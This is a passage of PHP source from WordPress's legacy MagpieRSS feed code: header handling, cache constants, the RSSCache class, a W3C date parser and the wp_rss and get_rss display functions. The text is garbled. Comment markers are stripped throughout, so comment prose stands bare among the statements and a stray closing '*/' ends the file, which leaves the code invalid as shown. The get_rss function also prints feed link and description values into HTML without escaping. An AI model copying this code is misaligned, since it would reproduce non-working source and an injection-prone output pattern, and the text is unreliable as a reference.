	 Also note, WP_HTTP lowercases all keys, Snoopy did not.
	$return_headers = array();
	foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) {
		if ( !is_array($value) ) {
			$return_headers[] = "$key: $value";
		} else {
			foreach ( $value as $v )
				$return_headers[] = "$key: $v";
		}
	}

	$response = new stdClass;
	$response->status = wp_remote_retrieve_response_code( $resp );
	$response->response_code = wp_remote_retrieve_response_code( $resp );
	$response->headers = $return_headers;
	$response->results = wp_remote_retrieve_body( $resp );

	return $response;
}

*
 * Retrieve
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param array $resp
 * @return MagpieRSS|bool
 
function _response_to_rss ($resp) {
	$rss = new MagpieRSS( $resp->results );

	 if RSS parsed successfully
	if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) {

		 find Etag, and Last-Modified
		foreach ( (array) $resp->headers as $h) {
			 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
			if (strpos($h, ": ")) {
				list($field, $val) = explode(": ", $h, 2);
			}
			else {
				$field = $h;
				$val = "";
			}

			if ( $field == 'etag' ) {
				$rss->etag = $val;
			}

			if ( $field == 'last-modified' ) {
				$rss->last_modified = $val;
			}
		}

		return $rss;
	}  else construct error message
	else {
		$errormsg = "Failed to parse RSS file.";

		if ($rss) {
			$errormsg .= " (" . $rss->ERROR . ")";
		}
		 error($errormsg);

		return false;
	}  end if ($rss and !$rss->error)
}

*
 * Set up constants with default values, unless user overrides.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 
function init () {
	if ( defined('MAGPIE_INITALIZED') ) {
		return;
	}
	else {
		define('MAGPIE_INITALIZED', 1);
	}

	if ( !defined('MAGPIE_CACHE_ON') ) {
		define('MAGPIE_CACHE_ON', 1);
	}

	if ( !defined('MAGPIE_CACHE_DIR') ) {
		define('MAGPIE_CACHE_DIR', './cache');
	}

	if ( !defined('MAGPIE_CACHE_AGE') ) {
		define('MAGPIE_CACHE_AGE', 60*60);  one hour
	}

	if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
		define('MAGPIE_CACHE_FRESH_ONLY', 0);
	}

		if ( !defined('MAGPIE_DEBUG') ) {
		define('MAGPIE_DEBUG', 0);
	}

	if ( !defined('MAGPIE_USER_AGENT') ) {
		$ua = 'WordPress/' . $GLOBALS['wp_version'];

		if ( MAGPIE_CACHE_ON ) {
			$ua = $ua . ')';
		}
		else {
			$ua = $ua . '; No cache)';
		}

		define('MAGPIE_USER_AGENT', $ua);
	}

	if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
		define('MAGPIE_FETCH_TIME_OUT', 2);	 2 second timeout
	}

	 use gzip encoding to fetch rss files if supported?
	if ( !defined('MAGPIE_USE_GZIP') ) {
		define('MAGPIE_USE_GZIP', true);
	}
}

function is_info ($sc) {
	return $sc >= 100 && $sc < 200;
}

function is_success ($sc) {
	return $sc >= 200 && $sc < 300;
}

function is_redirect ($sc) {
	return $sc >= 300 && $sc < 400;
}

function is_error ($sc) {
	return $sc >= 400 && $sc < 600;
}

function is_client_error ($sc) {
	return $sc >= 400 && $sc < 500;
}

function is_server_error ($sc) {
	return $sc >= 500 && $sc < 600;
}

class RSSCache {
	var $BASE_CACHE;	 where the cache files are stored
	var $MAX_AGE	= 43200;  		 when are files stale, default twelve hours
	var $ERROR 		= '';			 accumulate error messages

	*
	 * PHP5 constructor.
	 
	function __construct( $base = '', $age = '' ) {
		$this->BASE_CACHE = WP_CONTENT_DIR . '/cache';
		if ( $base ) {
			$this->BASE_CACHE = $base;
		}
		if ( $age ) {
			$this->MAX_AGE = $age;
		}

	}

	*
	 * PHP4 constructor.
	 
	public function RSSCache( $base = '', $age = '' ) {
		self::__construct( $base, $age );
	}

=======================================================================*\
	Function:	set
	Purpose:	add an item to the cache, keyed on url
	Input:		url from which the rss file was fetched
	Output:		true on success
\*=======================================================================
	function set ($url, $rss) {
		$cache_option = 'rss_' . $this->file_name( $url );

		set_transient($cache_option, $rss, $this->MAX_AGE);

		return $cache_option;
	}

=======================================================================*\
	Function:	get
	Purpose:	fetch an item from the cache
	Input:		url from which the rss file was fetched
	Output:		cached object on HIT, false on MISS
\*=======================================================================
	function get ($url) {
		$this->ERROR = "";
		$cache_option = 'rss_' . $this->file_name( $url );

		if ( ! $rss = get_transient( $cache_option ) ) {
			$this->debug(
				"Cache does not contain: $url (cache option: $cache_option)"
			);
			return 0;
		}

		return $rss;
	}

=======================================================================*\
	Function:	check_cache
	Purpose:	check a url for membership in the cache
				and whether the object is older then MAX_AGE (ie. STALE)
	Input:		url from which the rss file was fetched
	Output:		cached object on HIT, false on MISS
\*=======================================================================
	function check_cache ( $url ) {
		$this->ERROR = "";
		$cache_option = 'rss_' . $this->file_name( $url );

		if ( get_transient($cache_option) ) {
			 object exists and is current
				return 'HIT';
		} else {
			 object does not exist
			return 'MISS';
		}
	}

=======================================================================*\
	Function:	serialize
\*=======================================================================
	function serialize ( $rss ) {
		return serialize( $rss );
	}

=======================================================================*\
	Function:	unserialize
\*=======================================================================
	function unserialize ( $data ) {
		return unserialize( $data );
	}

=======================================================================*\
	Function:	file_name
	Purpose:	map url to location in cache
	Input:		url from which the rss file was fetched
	Output:		a file name
\*=======================================================================
	function file_name ($url) {
		return md5( $url );
	}

=======================================================================*\
	Function:	error
	Purpose:	register error
\*=======================================================================
	function error ($errormsg, $lvl=E_USER_WARNING) {
		$this->ERROR = $errormsg;
		if ( MAGPIE_DEBUG ) {
			trigger_error( $errormsg, $lvl);
		}
		else {
			error_log( $errormsg, 0);
		}
	}
			function debug ($debugmsg, $lvl=E_USER_NOTICE) {
		if ( MAGPIE_DEBUG ) {
			$this->error("MagpieRSS [debug] $debugmsg", $lvl);
		}
	}
}

if ( !function_exists('parse_w3cdtf') ) :
function parse_w3cdtf ( $date_str ) {

	# regex to match wc3dtf
	$pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/";

	if ( preg_match( $pat, $date_str, $match ) ) {
		list( $year, $month, $day, $hours, $minutes, $seconds) =
			array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]);

		# calc epoch for current date assuming GMT
		$epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);

		$offset = 0;
		if ( $match[11] == 'Z' ) {
			# zulu time, aka GMT
		}
		else {
			list( $tz_mod, $tz_hour, $tz_min ) =
				array( $match[8], $match[9], $match[10]);

			# zero out the variables
			if ( ! $tz_hour ) { $tz_hour = 0; }
			if ( ! $tz_min ) { $tz_min = 0; }

			$offset_secs = (($tz_hour*60)+$tz_min)*60;

			# is timezone ahead of GMT?  then subtract offset
			#
			if ( $tz_mod == '+' ) {
				$offset_secs = $offset_secs * -1;
			}

			$offset = $offset_secs;
		}
		$epoch = $epoch + $offset;
		return $epoch;
	}
	else {
		return -1;
	}
}
endif;

if ( !function_exists('wp_rss') ) :
*
 * Display all RSS items in a HTML ordered list.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL of feed to display. Will not auto sense feed URL.
 * @param int $num_items Optional. Number of items to display, default is all.
 
function wp_rss( $url, $num_items = -1 ) {
	if ( $rss = fetch_rss( $url ) ) {
		echo '<ul>';

		if ( $num_items !== -1 ) {
			$rss->items = array_slice( $rss->items, 0, $num_items );
		}

		foreach ( (array) $rss->items as $item ) {
			printf(
				'<li><a href="%1$s" title="%2$s">%3$s</a></li>',
				esc_url( $item['link'] ),
				esc_attr( strip_tags( $item['description'] ) ),
				esc_html( $item['title'] )
			);
		}

		echo '</ul>';
	} else {
		_e( 'An error has occurred, which probably means the feed is down. Try again later.' );
	}
}
endif;

if ( !function_exists('get_rss') ) :
*
 * Display RSS items in HTML list items.
 *
 * You have to specify which HTML list you want, either ordered or unordered
 * before using the function. You also have to specify how many items you wish
 * to display. You can't display all of them like you can with wp_rss()
 * function.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL of feed to display. Will not auto sense feed URL.
 * @param int $num_items Optional. Number of items to display, default is all.
 * @return bool False on failure.
 
function get_rss ($url, $num_items = 5) {  Like get posts, but for RSS
	$rss = fetch_rss($url);
	if ( $rss ) {
		$rss->items = array_slice($rss->items, 0, $num_items);
		foreach ( (array) $rss->items as $item ) {
			echo "<li>\n";
			echo "<a href='$item[link]' title='$item[description]'>";
			echo esc_html($item['title']);
			echo "</a><br />\n";
			echo "</li>\n";
		}
	} else {
		return false;
	}
}
endif;
*/